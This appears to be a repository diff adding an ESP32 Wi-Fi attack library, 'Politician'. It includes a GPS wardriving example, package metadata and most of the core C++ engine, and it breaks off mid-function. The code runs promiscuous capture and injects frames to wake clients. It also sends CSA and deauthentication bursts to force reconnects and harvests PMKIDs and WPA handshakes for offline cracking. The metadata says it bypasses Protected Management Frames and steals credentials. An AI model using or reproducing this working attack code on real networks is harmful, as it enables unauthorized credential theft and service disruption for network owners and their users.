Serial.println("\n--- Politician Wigle.net GPS Integration Exampe ---");
|
||||
|
||||
if(!SD.begin(SD_CS_PIN)){
|
||||
Serial.println("SD Card Mount Failed! Ensure it is connected.");
|
||||
}
|
||||
|
||||
// Setup Engine Callbacks
|
||||
engine.setEapolCallback(onHandshake);
|
||||
|
||||
Config cfg;
|
||||
// We strictly only care about High-Value Handshakes to conserve GPS logging space
|
||||
cfg.capture_filter = LOG_FILTER_HANDSHAKES;
|
||||
|
||||
if (engine.begin(cfg) != politician::OK) {
|
||||
Serial.println("WiFi Init Failed!");
|
||||
while(1) delay(100);
|
||||
}
|
||||
|
||||
engine.startHopping();
|
||||
engine.setActive(true);
|
||||
engine.setAttackMask(ATTACK_ALL);
|
||||
|
||||
Serial.println("Wigle Wardriving started...");
|
||||
}
|
||||
|
||||
void loop() {
|
||||
engine.tick();
|
||||
|
||||
// Simulate updating GPS coordinates dynamically (e.g. from TinyGPS++ library)
|
||||
current_lat += 0.0001;
|
||||
current_lon += 0.0001;
|
||||
delay(10); // Throttle loop for simulation
|
||||
}
|
||||
20
lib/Politician/library.json
Normal file
20
lib/Politician/library.json
Normal file
@@ -0,0 +1,20 @@
|
||||
{
|
||||
"name": "Politician",
|
||||
"version": "1.0.0",
|
||||
"description": "A WiFi handshake capturing engine for ESP32. It 'shakes hands' with APs to steal PMKIDs and triggers reconnects with CSA.",
|
||||
"keywords": "wifi, security, esp32, eapol, pmkid, handshake, wardriving, 802.11, auditing, penetration-testing",
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/0ldev/Politician"
|
||||
},
|
||||
"authors": [
|
||||
{
|
||||
"name": "WiFighter Developer",
|
||||
"email": "no@email.com"
|
||||
}
|
||||
],
|
||||
"license": "MIT",
|
||||
"frameworks": "arduino",
|
||||
"platforms": ["espressif32"],
|
||||
"architectures": ["esp32", "esp32s2", "esp32s3", "esp32c3", "esp32c6"]
|
||||
}
|
||||
11
lib/Politician/library.properties
Normal file
11
lib/Politician/library.properties
Normal file
@@ -0,0 +1,11 @@
|
||||
name=Politician
|
||||
version=1.0.0
|
||||
author=0ldev
|
||||
maintainer=0ldev <no@email.com>
|
||||
sentence=Modern WiFi auditing library for ESP32 with PMKID extraction and CSA injection.
|
||||
paragraph=Advanced WiFi security auditing library for ESP32 microcontrollers. Captures WPA/WPA2/WPA3 handshakes using PMKID extraction and CSA injection to bypass Protected Management Frames. Harvests enterprise credentials from 802.1X networks. Supports dual-band ESP32-C6 (2.4GHz + 5GHz). Exports to PCAPNG and Hashcat formats. Professional C++ API with 9 working examples for wardriving, penetration testing, and network auditing.
|
||||
category=Communication
|
||||
url=https://github.com/0ldev/Politician
|
||||
architectures=esp32,esp32s2,esp32s3,esp32c3,esp32c6
|
||||
depends=
|
||||
includes=Politician.h
|
||||
20
lib/Politician/platformio.ini
Normal file
20
lib/Politician/platformio.ini
Normal file
@@ -0,0 +1,20 @@
|
||||
[env]
|
||||
platform = espressif32 @ ~4.4.0
|
||||
framework = arduino
|
||||
monitor_speed = 115200
|
||||
|
||||
[env:esp32_classic]
|
||||
board = esp32dev
|
||||
|
||||
[env:esp32_s2]
|
||||
board = esp32-s2-saola-1
|
||||
|
||||
[env:esp32_s3]
|
||||
board = esp32-s3-devkitc-1
|
||||
|
||||
[env:esp32_c3]
|
||||
board = esp32-c3-devkitm-1
|
||||
|
||||
[env:esp32_c6]
|
||||
board = esp32-c6-devkitc-1
|
||||
platform = espressif32 @ ~6.5.0
|
||||
928
lib/Politician/src/Politician.cpp
Normal file
928
lib/Politician/src/Politician.cpp
Normal file
@@ -0,0 +1,928 @@
|
||||
#include "Politician.h"
|
||||
#include "PoliticianFormat.h"
|
||||
#include <string.h>
|
||||
#include <esp_log.h>
|
||||
|
||||
namespace politician {
|
||||
|
||||
// ─── Static members ───────────────────────────────────────────────────────────
|
||||
Politician *Politician::_instance = nullptr;
|
||||
|
||||
// Default 2.4GHz hopping sequence (channels 1-13)
|
||||
const uint8_t Politician::HOP_SEQ[] = {1, 6, 11, 2, 7, 3, 8, 4, 9, 5, 10, 12, 13};
|
||||
const uint8_t Politician::HOP_COUNT = sizeof(HOP_SEQ) / sizeof(HOP_SEQ[0]);
|
||||
|
||||
// 5GHz channel helper - common channels in most regulatory domains
|
||||
static const uint8_t CHANNEL_5GHZ_COMMON[] = {
|
||||
36, 40, 44, 48, // Band 1 (5.15-5.25 GHz) - Universally allowed
|
||||
149, 153, 157, 161, 165 // Band 4 (5.73-5.85 GHz) - UNII-3, widely allowed
|
||||
};
|
||||
|
||||
// Helper function to check if channel is valid
|
||||
static bool isValidChannel(uint8_t ch) {
|
||||
// 2.4GHz channels (1-14)
|
||||
if (ch >= 1 && ch <= 14) return true;
|
||||
|
||||
// 5GHz channels - check common channels
|
||||
for (uint8_t i = 0; i < sizeof(CHANNEL_5GHZ_COMMON); i++) {
|
||||
if (ch == CHANNEL_5GHZ_COMMON[i]) return true;
|
||||
}
|
||||
|
||||
// Additional 5GHz channels (52-144, DFS bands - use with caution)
|
||||
if ((ch >= 52 && ch <= 64) || (ch >= 100 && ch <= 144)) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// ─── Constructor ──────────────────────────────────────────────────────────────
|
||||
Politician::Politician()
|
||||
: _active(false), _channel(1), _rxChannel(1), _hopping(false),
|
||||
_lastHopMs(0), _lastRssi(0), _hopIndex(0),
|
||||
_m1Locked(false), _m1LockEndMs(0),
|
||||
_probeLocked(false), _probeLockEndMs(0),
|
||||
_customChannelCount(0),
|
||||
_eapolCb(nullptr), _apFoundCb(nullptr), _filterCb(nullptr),
|
||||
_logCb(nullptr), _ignoreCount(0),
|
||||
_apCacheCount(0),
|
||||
_fishState(FISH_IDLE), _fishStartMs(0), _fishRetry(0),
|
||||
_fishSsidLen(0), _fishChannel(1),
|
||||
_fishAuthLogged(false), _fishAssocLogged(false),
|
||||
_csaSecondBurstSent(false),
|
||||
_attackMask(ATTACK_ALL),
|
||||
_hasTarget(false), _targetChannel(1),
|
||||
_capturedCount(0)
|
||||
{
|
||||
_instance = this;
|
||||
memset(&_stats, 0, sizeof(_stats));
|
||||
memset(_sessions, 0, sizeof(_sessions));
|
||||
memset(_apCache, 0, sizeof(_apCache));
|
||||
memset(_captured, 0, sizeof(_captured));
|
||||
memset(_targetBssid, 0, sizeof(_targetBssid));
|
||||
memset(_fishBssid, 0, sizeof(_fishBssid));
|
||||
memset(_fishSsid, 0, sizeof(_fishSsid));
|
||||
memset(_ownStaMac, 0, sizeof(_ownStaMac));
|
||||
memset(_ignoreList, 0, sizeof(_ignoreList));
|
||||
}
|
||||
|
||||
// ─── Logging ─────────────────────────────────────────────────────────────────
|
||||
void Politician::_log(const char *fmt, ...) {
|
||||
char buf[256];
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
vsnprintf(buf, sizeof(buf), fmt, args);
|
||||
va_end(args);
|
||||
|
||||
if (_logCb) {
|
||||
_logCb(buf);
|
||||
} else {
|
||||
Serial.print(buf);
|
||||
}
|
||||
}
|
||||
|
||||
// ─── begin() ─────────────────────────────────────────────────────────────────
|
||||
Error Politician::begin(const Config &cfg) {
|
||||
_cfg = cfg;
|
||||
wifi_init_config_t wifi_cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
if (esp_wifi_init(&wifi_cfg) != ESP_OK) return ERR_WIFI_INIT;
|
||||
if (esp_wifi_set_storage(WIFI_STORAGE_RAM) != ESP_OK) return ERR_WIFI_INIT;
|
||||
|
||||
if (esp_wifi_set_mode(WIFI_MODE_APSTA) != ESP_OK) return ERR_WIFI_INIT;
|
||||
|
||||
wifi_config_t ap_cfg = {};
|
||||
const char *ap_ssid = "WiFighter";
|
||||
memcpy(ap_cfg.ap.ssid, ap_ssid, strlen(ap_ssid));
|
||||
ap_cfg.ap.ssid_len = (uint8_t)strlen(ap_ssid);
|
||||
ap_cfg.ap.ssid_hidden = 1;
|
||||
ap_cfg.ap.max_connection = 4;
|
||||
ap_cfg.ap.authmode = WIFI_AUTH_OPEN;
|
||||
ap_cfg.ap.channel = 1;
|
||||
ap_cfg.ap.beacon_interval = 1000;
|
||||
if (esp_wifi_set_config(WIFI_IF_AP, &ap_cfg) != ESP_OK) return ERR_WIFI_INIT;
|
||||
|
||||
if (esp_wifi_start() != ESP_OK) return ERR_WIFI_INIT;
|
||||
|
||||
esp_wifi_get_mac(WIFI_IF_STA, _ownStaMac);
|
||||
_log("[WiFi] STA MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
|
||||
_ownStaMac[0], _ownStaMac[1], _ownStaMac[2],
|
||||
_ownStaMac[3], _ownStaMac[4], _ownStaMac[5]);
|
||||
|
||||
esp_log_level_set("wifi", ESP_LOG_NONE);
|
||||
|
||||
wifi_promiscuous_filter_t filt = {
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA
|
||||
};
|
||||
if (esp_wifi_set_promiscuous_filter(&filt) != ESP_OK) return ERR_WIFI_INIT;
|
||||
if (esp_wifi_set_promiscuous(true) != ESP_OK) return ERR_WIFI_INIT;
|
||||
if (esp_wifi_set_promiscuous_rx_cb(&_promiscuousCb) != ESP_OK) return ERR_WIFI_INIT;
|
||||
if (esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE) != ESP_OK) return ERR_WIFI_INIT;
|
||||
|
||||
_log("[WiFi] Ready — monitor mode ch%d\n", _channel);
|
||||
return OK;
|
||||
}
|
||||
|
||||
// ─── Active gate ──────────────────────────────────────────────────────────────
|
||||
void Politician::setActive(bool active) {
|
||||
_active = active;
|
||||
_log("[WiFi] Capture %s\n", active ? "ACTIVE" : "IDLE");
|
||||
}
|
||||
|
||||
// ─── Channel control ──────────────────────────────────────────────────────────
|
||||
Error Politician::setChannel(uint8_t ch) {
|
||||
if (!isValidChannel(ch)) return ERR_INVALID_CH;
|
||||
_channel = ch;
|
||||
esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
|
||||
return OK;
|
||||
}
|
||||
|
||||
Error Politician::lockChannel(uint8_t ch) {
|
||||
_hopping = false;
|
||||
return setChannel(ch);
|
||||
}
|
||||
|
||||
void Politician::setIgnoreList(const uint8_t (*bssids)[6], uint8_t count) {
|
||||
_ignoreCount = (count > MAX_IGNORE) ? MAX_IGNORE : count;
|
||||
for (uint8_t i = 0; i < _ignoreCount; i++) {
|
||||
memcpy(_ignoreList[i], bssids[i], 6);
|
||||
}
|
||||
_log("[WiFi] Ignore list updated: %d BSSIDs\n", _ignoreCount);
|
||||
}
|
||||
|
||||
void Politician::clearCapturedList() {
|
||||
for (int i = 0; i < MAX_CAPTURED; i++) {
|
||||
_captured[i].active = false;
|
||||
}
|
||||
_capturedCount = 0;
|
||||
_log("[WiFi] Captured list cleared\n");
|
||||
}
|
||||
|
||||
void Politician::markCaptured(const uint8_t *bssid) {
|
||||
if (_isCaptured(bssid)) return;
|
||||
int slot = _capturedCount % MAX_CAPTURED;
|
||||
_captured[slot].active = true;
|
||||
memcpy(_captured[slot].bssid, bssid, 6);
|
||||
_capturedCount++;
|
||||
_log("[Cap] Marked %02X:%02X:%02X:%02X:%02X:%02X — won't re-capture\n",
|
||||
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
|
||||
}
|
||||
|
||||
void Politician::startHopping(uint16_t dwellMs) {
|
||||
_hopping = true;
|
||||
_active = true;
|
||||
_hopIndex = 0;
|
||||
_lastHopMs = millis();
|
||||
if (dwellMs > 0) _cfg.hop_dwell_ms = dwellMs;
|
||||
_log("[WiFi] Hopping started dwell=%dms\n", _cfg.hop_dwell_ms);
|
||||
}
|
||||
|
||||
void Politician::stopHopping() {
|
||||
_hopping = false;
|
||||
}
|
||||
|
||||
// ─── Attack mask ──────────────────────────────────────────────────────────────
|
||||
void Politician::setAttackMask(uint8_t mask) {
|
||||
_attackMask = mask;
|
||||
_log("[WiFi] Attack mask: PMKID=%d CSA=%d PASSIVE=%d\n",
|
||||
!!(mask & ATTACK_PMKID), !!(mask & ATTACK_CSA), !!(mask & ATTACK_PASSIVE));
|
||||
}
|
||||
|
||||
// ─── Target mode ──────────────────────────────────────────────────────────────
|
||||
Error Politician::setTarget(const uint8_t *bssid, uint8_t channel) {
|
||||
if (_isCaptured(bssid)) return ERR_ALREADY_CAPTURED;
|
||||
|
||||
memcpy(_targetBssid, bssid, 6);
|
||||
_targetChannel = channel;
|
||||
_hasTarget = true;
|
||||
|
||||
for (int i = 0; i < MAX_AP_CACHE; i++) {
|
||||
if (_apCache[i].active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
|
||||
_apCache[i].last_probe_ms = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
_hopping = false;
|
||||
_active = true;
|
||||
esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
|
||||
_channel = channel;
|
||||
_rxChannel = channel;
|
||||
_log("[WiFi] Target → %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
|
||||
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], channel);
|
||||
|
||||
return OK;
|
||||
}
|
||||
|
||||
void Politician::clearTarget() {
|
||||
_hasTarget = false;
|
||||
memset(_targetBssid, 0, 6);
|
||||
_log("[WiFi] Target cleared — wardriving mode\n");
|
||||
}
|
||||
|
||||
void Politician::setChannelList(const uint8_t *channels, uint8_t count) {
|
||||
if (count == 0 || channels == nullptr) {
|
||||
_customChannelCount = 0;
|
||||
_hopIndex = 0;
|
||||
_log("[WiFi] Channel list cleared — hopping all channels\n");
|
||||
return;
|
||||
}
|
||||
_customChannelCount = 0;
|
||||
for (uint8_t i = 0; i < count && i < POLITICIAN_MAX_CHANNELS; i++) {
|
||||
if (isValidChannel(channels[i])) {
|
||||
_customChannels[_customChannelCount++] = channels[i];
|
||||
}
|
||||
}
|
||||
_hopIndex = 0;
|
||||
_log("[WiFi] Channel list set: %d channels\n", _customChannelCount);
|
||||
}
|
||||
|
||||
// ─── tick() ───────────────────────────────────────────────────────────────────
|
||||
void Politician::tick() {
|
||||
_processFishing();
|
||||
|
||||
static uint32_t lastDiagMs = 0;
|
||||
uint32_t nowDiag = millis();
|
||||
if (nowDiag - lastDiagMs >= 30000) {
|
||||
lastDiagMs = nowDiag;
|
||||
_log("[Stats] total=%lu mgmt=%lu data=%lu eapol=%lu pmkid=%lu caps=%lu aps=%d lock=%s\n",
|
||||
(unsigned long)_stats.total, (unsigned long)_stats.mgmt,
|
||||
(unsigned long)_stats.data, (unsigned long)_stats.eapol,
|
||||
(unsigned long)_stats.pmkid_found, (unsigned long)_stats.captures,
|
||||
_apCacheCount,
|
||||
_probeLocked ? "probe" : _m1Locked ? "m1" : "none");
|
||||
}
|
||||
|
||||
if (!_hopping) return;
|
||||
uint32_t now = millis();
|
||||
|
||||
if (_probeLocked && _fishState == FISH_IDLE && now >= _probeLockEndMs) {
|
||||
_probeLocked = false;
|
||||
_lastHopMs = now;
|
||||
}
|
||||
|
||||
if (_m1Locked && now >= _m1LockEndMs) {
|
||||
_m1Locked = false;
|
||||
_lastHopMs = now;
|
||||
}
|
||||
|
||||
bool locked = _m1Locked || _probeLocked || _hasTarget;
|
||||
if (!locked && (now - _lastHopMs >= _cfg.hop_dwell_ms)) {
|
||||
const uint8_t *seq = (_customChannelCount > 0) ? _customChannels : HOP_SEQ;
|
||||
uint8_t count = (_customChannelCount > 0) ? _customChannelCount : HOP_COUNT;
|
||||
_hopIndex = (_hopIndex + 1) % count;
|
||||
_channel = seq[_hopIndex];
|
||||
esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
|
||||
_lastHopMs = now;
|
||||
_expireSessions(_cfg.session_timeout_ms);
|
||||
}
|
||||
}
|
||||
|
||||
// ─── Static promiscuous callback (IRAM) ──────────────────────────────────────
|
||||
void IRAM_ATTR Politician::_promiscuousCb(void *buf, wifi_promiscuous_pkt_type_t type) {
|
||||
if (_instance) {
|
||||
_instance->_handleFrame((const wifi_promiscuous_pkt_t *)buf, type);
|
||||
}
|
||||
}
|
||||
|
||||
void Politician::_handleFrame(const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type) {
|
||||
if (!_active) return;
|
||||
if (!pkt) return;
|
||||
uint16_t sig_len = pkt->rx_ctrl.sig_len;
|
||||
if (sig_len < sizeof(ieee80211_hdr_t)) return;
|
||||
|
||||
_stats.total++;
|
||||
_lastRssi = (int8_t)pkt->rx_ctrl.rssi;
|
||||
_rxChannel = pkt->rx_ctrl.channel;
|
||||
|
||||
const ieee80211_hdr_t *hdr = (const ieee80211_hdr_t *)pkt->payload;
|
||||
uint16_t fc = hdr->frame_ctrl;
|
||||
uint16_t ftype = fc & FC_TYPE_MASK;
|
||||
uint8_t fsub = fc & FC_SUBTYPE_MASK;
|
||||
|
||||
// --- Packet Logging Filter Hook ---
|
||||
if (_packetCb && _cfg.capture_filter != 0) {
|
||||
bool log_it = false;
|
||||
if (ftype == FC_TYPE_MGMT) {
|
||||
if (fsub == MGMT_SUB_BEACON && (_cfg.capture_filter & LOG_FILTER_BEACONS)) log_it = true;
|
||||
else if ((fsub == MGMT_SUB_PROBE_REQ || fsub == MGMT_SUB_PROBE_RESP) && (_cfg.capture_filter & LOG_FILTER_PROBES)) log_it = true;
|
||||
else if (fsub == MGMT_SUB_ASSOC_RESP && (_cfg.capture_filter & LOG_FILTER_HANDSHAKES)) log_it = true;
|
||||
} else if (ftype == FC_TYPE_DATA && (_cfg.capture_filter & LOG_FILTER_HANDSHAKES)) {
|
||||
uint16_t hdr_len = sizeof(ieee80211_hdr_t);
|
||||
uint8_t subtype = fsub >> 4;
|
||||
bool is_qos = (subtype >= 8 && subtype <= 11);
|
||||
if (is_qos) {
|
||||
hdr_len += 2;
|
||||
if (fc & FC_ORDER_MASK) hdr_len += 4;
|
||||
}
|
||||
if (sig_len >= hdr_len + EAPOL_MIN_FRAME_LEN) {
|
||||
const uint8_t *llc = pkt->payload + hdr_len;
|
||||
if (llc[0] == 0xAA && llc[1] == 0xAA && llc[2] == 0x03 &&
|
||||
llc[6] == EAPOL_ETHERTYPE_HI && llc[7] == EAPOL_ETHERTYPE_LO) {
|
||||
log_it = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (log_it) _packetCb(pkt->payload, sig_len, _lastRssi, pkt->rx_ctrl.timestamp);
|
||||
}
|
||||
// ----------------------------------
|
||||
|
||||
if (type == WIFI_PKT_MGMT && ftype == FC_TYPE_MGMT) {
|
||||
_stats.mgmt++;
|
||||
uint16_t payload_off = sizeof(ieee80211_hdr_t);
|
||||
if (sig_len > payload_off) {
|
||||
_handleMgmt(hdr, pkt->payload + payload_off, sig_len - payload_off, _lastRssi);
|
||||
}
|
||||
} else if (type == WIFI_PKT_DATA && ftype == FC_TYPE_DATA) {
|
||||
_stats.data++;
|
||||
uint8_t subtype = (fc & FC_SUBTYPE_MASK) >> 4;
|
||||
uint16_t hdr_len = sizeof(ieee80211_hdr_t);
|
||||
bool is_qos = (subtype >= 8 && subtype <= 11);
|
||||
if (is_qos) {
|
||||
hdr_len += 2;
|
||||
if (fc & FC_ORDER_MASK) hdr_len += 4;
|
||||
}
|
||||
if (sig_len > hdr_len) {
|
||||
_handleData(hdr, pkt->payload + hdr_len, sig_len - hdr_len, _lastRssi);
|
||||
}
|
||||
} else {
|
||||
_stats.ctrl++;
|
||||
}
|
||||
}
|
||||
|
||||
void Politician::_handleMgmt(const ieee80211_hdr_t *hdr, const uint8_t *payload,
|
||||
uint16_t len, int8_t rssi) {
|
||||
uint8_t subtype = (hdr->frame_ctrl & FC_SUBTYPE_MASK);
|
||||
|
||||
// Parse both Beacons and Probe Responses.
|
||||
// Sniffing Probe Responses automatically enables Active Decloaking
|
||||
// of Hidden Networks when clients reconnect following a CSA/Deauth attack.
|
||||
if (subtype == MGMT_SUB_BEACON || subtype == MGMT_SUB_PROBE_RESP) {
|
||||
_stats.beacons++;
|
||||
if (!_apFoundCb || len < 12) return;
|
||||
|
||||
const uint8_t *ie = payload + 12;
|
||||
uint16_t ie_len = (len > 12) ? len - 12 : 0;
|
||||
|
||||
uint8_t beacon_ch = _rxChannel;
|
||||
{
|
||||
uint16_t pos = 0;
|
||||
while (pos + 2 <= ie_len) {
|
||||
uint8_t tag = ie[pos];
|
||||
uint8_t tlen = ie[pos + 1];
|
||||
if (pos + 2 + tlen > ie_len) break;
|
||||
if (tag == 3 && tlen == 1) { beacon_ch = ie[pos + 2]; break; }
|
||||
pos += 2 + tlen;
|
||||
}
|
||||
}
|
||||
|
||||
ApRecord ap;
|
||||
memcpy(ap.bssid, hdr->addr3, 6);
|
||||
ap.channel = beacon_ch;
|
||||
ap.rssi = rssi;
|
||||
_parseSsid(ie, ie_len, ap.ssid, ap.ssid_len);
|
||||
ap.enc = _classifyEnc(ie, ie_len);
|
||||
if (ap.enc == 0 && (hdr->frame_ctrl & 0x4000)) ap.enc = 1; // WEP Privacy bit
|
||||
|
||||
// Execute targeting filter
|
||||
if (_filterCb && !_filterCb(ap)) return;
|
||||
|
||||
_cacheAp(ap.bssid, ap.ssid, ap.ssid_len, ap.enc, beacon_ch);
|
||||
if (_apFoundCb) _apFoundCb(ap);
|
||||
|
||||
if (ap.ssid_len > 0 && beacon_ch > 0) {
|
||||
if (_hasTarget && memcmp(_targetBssid, ap.bssid, 6) != 0) return;
|
||||
|
||||
// --- CLIENT WAKE-UP STIMULATION ---
|
||||
if (((hdr->frame_ctrl & FC_SUBTYPE_MASK) == MGMT_SUB_BEACON) && (_attackMask & ATTACK_STIMULATE)) {
|
||||
for (int i = 0; i < MAX_AP_CACHE; i++) {
|
||||
if (_apCache[i].active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
|
||||
if (!_apCache[i].has_active_clients && (millis() - _apCache[i].last_stimulate_ms > 15000)) {
|
||||
_apCache[i].last_stimulate_ms = millis();
|
||||
|
||||
// Hardware-Level Null Data Injection (FromDS=1, MoreData=1)
|
||||
// Triggered exactly on the microsecond the sleeping client's radio turns on
|
||||
uint8_t wake_null[24] = {
|
||||
0x48, 0x22, 0x00, 0x00, // FC: Null Function, ToDS=0, FromDS=1, MoreData=1
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // DA: Broadcast
|
||||
ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], // BSSID
|
||||
ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], // SA
|
||||
0x00, 0x00 // Sequence
|
||||
};
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, wake_null, sizeof(wake_null), false);
|
||||
_log("[Stimulate] Beacon-Sync Null Injection fired at %02X:%02X:%02X:%02X:%02X:%02X\n",
|
||||
ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
// ----------------------------------
|
||||
}
|
||||
|
||||
bool canFish = ap.enc >= 3 && ap.ssid_len > 0 && !_isCaptured(ap.bssid);
|
||||
if (_hasTarget) canFish = canFish && memcmp(ap.bssid, _targetBssid, 6) == 0;
|
||||
|
||||
if (canFish && _fishState == FISH_IDLE) {
|
||||
if (_attackMask & ATTACK_PMKID) {
|
||||
for (int i = 0; i < MAX_AP_CACHE; i++) {
|
||||
if (!_apCache[i].active) continue;
|
||||
if (memcmp(_apCache[i].bssid, ap.bssid, 6) != 0) continue;
|
||||
|
||||
if (_cfg.skip_immune_networks && _apCache[i].is_wpa3_only) {
|
||||
break; // Skip attack for invincible network
|
||||
}
|
||||
|
||||
uint32_t throttle_ms = _hasTarget ? 0u
|
||||
: _apCache[i].has_active_clients ? 15000u
|
||||
: (uint32_t)_cfg.probe_aggr_interval_s * 1000u;
|
||||
uint32_t elapsed = millis() - _apCache[i].last_probe_ms;
|
||||
if (elapsed >= throttle_ms) {
|
||||
_apCache[i].last_probe_ms = millis();
|
||||
_startFishing(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch);
|
||||
}
|
||||
break;
|
||||
}
|
||||
} else if (_attackMask & (ATTACK_CSA | ATTACK_DEAUTH)) {
|
||||
_fishState = FISH_CSA_WAIT;
|
||||
_csaSecondBurstSent = false;
|
||||
if (_attackMask & ATTACK_CSA) _sendCsaBurst();
|
||||
if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst();
|
||||
memcpy(_fishBssid, ap.bssid, 6); memcpy(_fishSsid, ap.ssid, ap.ssid_len); _fishSsid[ap.ssid_len] = '\0';
|
||||
_fishSsidLen = ap.ssid_len; _fishChannel = beacon_ch; _fishStartMs = millis();
|
||||
_probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms;
|
||||
_log("[Attack] Starting CSA/Deauth on %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s ch%d\n",
|
||||
ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], ap.ssid_len, ap.ssid, beacon_ch);
|
||||
}
|
||||
}
|
||||
|
||||
} else if (subtype == 0xB0) {
|
||||
if (len >= 6 && !_fishAuthLogged) {
|
||||
uint16_t auth_seq = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
|
||||
uint16_t status = ((uint16_t)payload[4]) | ((uint16_t)payload[5] << 8);
|
||||
if (auth_seq == 2) {
|
||||
_fishAuthLogged = true;
|
||||
_log("[AuthResp] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
|
||||
hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
|
||||
hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], status);
|
||||
}
|
||||
}
|
||||
} else if (subtype == MGMT_SUB_ASSOC_RESP) {
|
||||
if (len < 6 || !_eapolCb) return;
|
||||
const uint8_t *ie = payload + 6;
|
||||
uint16_t ie_len = (len > 6) ? len - 6 : 0;
|
||||
const uint8_t *bssid = hdr->addr2;
|
||||
const uint8_t *sta = hdr->addr1;
|
||||
|
||||
uint16_t status = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
|
||||
if (!_fishAssocLogged) {
|
||||
_fishAssocLogged = true;
|
||||
_log("[AssocResp] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
|
||||
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], status);
|
||||
}
|
||||
if (status != 0) return;
|
||||
|
||||
uint16_t pos = 0;
|
||||
while (pos + 2 <= ie_len) {
|
||||
uint8_t tag = ie[pos];
|
||||
uint8_t tlen = ie[pos + 1];
|
||||
if (pos + 2 + tlen > ie_len) break;
|
||||
if (tag == 48 && tlen >= 20) {
|
||||
const uint8_t *rsn = ie + pos + 2;
|
||||
uint16_t rlen = tlen;
|
||||
uint16_t off = 2; off += 4;
|
||||
uint16_t pw_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
|
||||
off += 2 + pw_cnt * 4;
|
||||
uint16_t akm_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
|
||||
off += 2 + akm_cnt * 4;
|
||||
off += 2;
|
||||
uint16_t pmkid_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
|
||||
off += 2;
|
||||
if (pmkid_cnt > 0 && off + 16 <= rlen) {
|
||||
HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
|
||||
rec.type = CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
|
||||
memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
|
||||
_lookupSsid(bssid, rec.ssid, rec.ssid_len);
|
||||
memcpy(rec.pmkid, rsn + off, 16);
|
||||
rec.message_pair = 0x00;
|
||||
format::ValidationResult validation = format::validateHandshakeRecord(rec);
|
||||
if (validation != format::ValidationResult::VALID) {
|
||||
_log("[PMKID] Rejected: %s\n", format::validationReason(validation));
|
||||
continue;
|
||||
}
|
||||
_stats.pmkid_found++; _stats.captures++;
|
||||
_log("[PMKID] AssocResp BSSID=%02X:%02X:%02X:%02X:%02X:%02X\n",
|
||||
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
|
||||
_markCaptured(bssid); _markCapturedSsidGroup(rec.ssid, rec.ssid_len);
|
||||
if (_eapolCb) _eapolCb(rec);
|
||||
}
|
||||
}
|
||||
pos += 2 + tlen;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Politician::_handleData(const ieee80211_hdr_t *hdr, const uint8_t *payload,
|
||||
uint16_t len, int8_t rssi) {
|
||||
if (len < EAPOL_MIN_FRAME_LEN) return;
|
||||
if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03) return;
|
||||
if (payload[3] != 0x00 || payload[4] != 0x00 || payload[5] != 0x00) return;
|
||||
if (payload[6] != EAPOL_ETHERTYPE_HI || payload[7] != EAPOL_ETHERTYPE_LO) return;
|
||||
|
||||
_stats.eapol++;
|
||||
|
||||
bool toDS = (hdr->frame_ctrl & FC_TODS_MASK) != 0;
|
||||
bool fromDS = (hdr->frame_ctrl & FC_FROMDS_MASK) != 0;
|
||||
|
||||
const uint8_t *bssid;
|
||||
const uint8_t *sta;
|
||||
|
||||
if (toDS && !fromDS) {
|
||||
bssid = hdr->addr1; sta = hdr->addr2;
|
||||
} else if (!toDS && fromDS) {
|
||||
bssid = hdr->addr2; sta = hdr->addr1;
|
||||
} else {
|
||||
bssid = hdr->addr3; sta = hdr->addr2;
|
||||
}
|
||||
|
||||
const uint8_t *eapol = payload + EAPOL_LLC_SIZE;
|
||||
